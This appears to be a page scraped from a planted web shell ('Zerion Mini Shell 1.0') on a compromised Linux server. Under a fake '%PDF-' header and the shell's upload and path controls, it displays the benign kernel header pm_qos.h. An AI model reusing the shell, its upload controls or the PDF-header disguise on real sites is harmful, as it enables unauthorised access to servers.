%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/src/kernels/2.6.32-754.31.1.el6.x86_64/include/linux/
Upload File :
Create Path :
Current File : //usr/src/kernels/2.6.32-754.31.1.el6.x86_64/include/linux/pm_qos.h

#ifndef _LINUX_PM_QOS_H
#define _LINUX_PM_QOS_H

#include <linux/pm_qos_params.h>

struct pm_qos_request {
	u32 qos;
	void *request;
};

#define pm_qos_request(_qos) pm_qos_requirement(_qos)

#define pm_qos_add_request(_req, _class, _value) do {			\
	(_req)->request = #_req;					\
	(_req)->qos = _class;						\
	pm_qos_add_requirement((_class), (_req)->request, (_value));	\
    } while(0)

#define pm_qos_update_request(_req, _value)				\
	pm_qos_update_requirement((_req)->qos, (_req)->request, (_value))

#define pm_qos_remove_request(_req)					\
	pm_qos_remove_requirement((_req)->qos, (_req)->request)

#endif

Zerion Mini Shell 1.0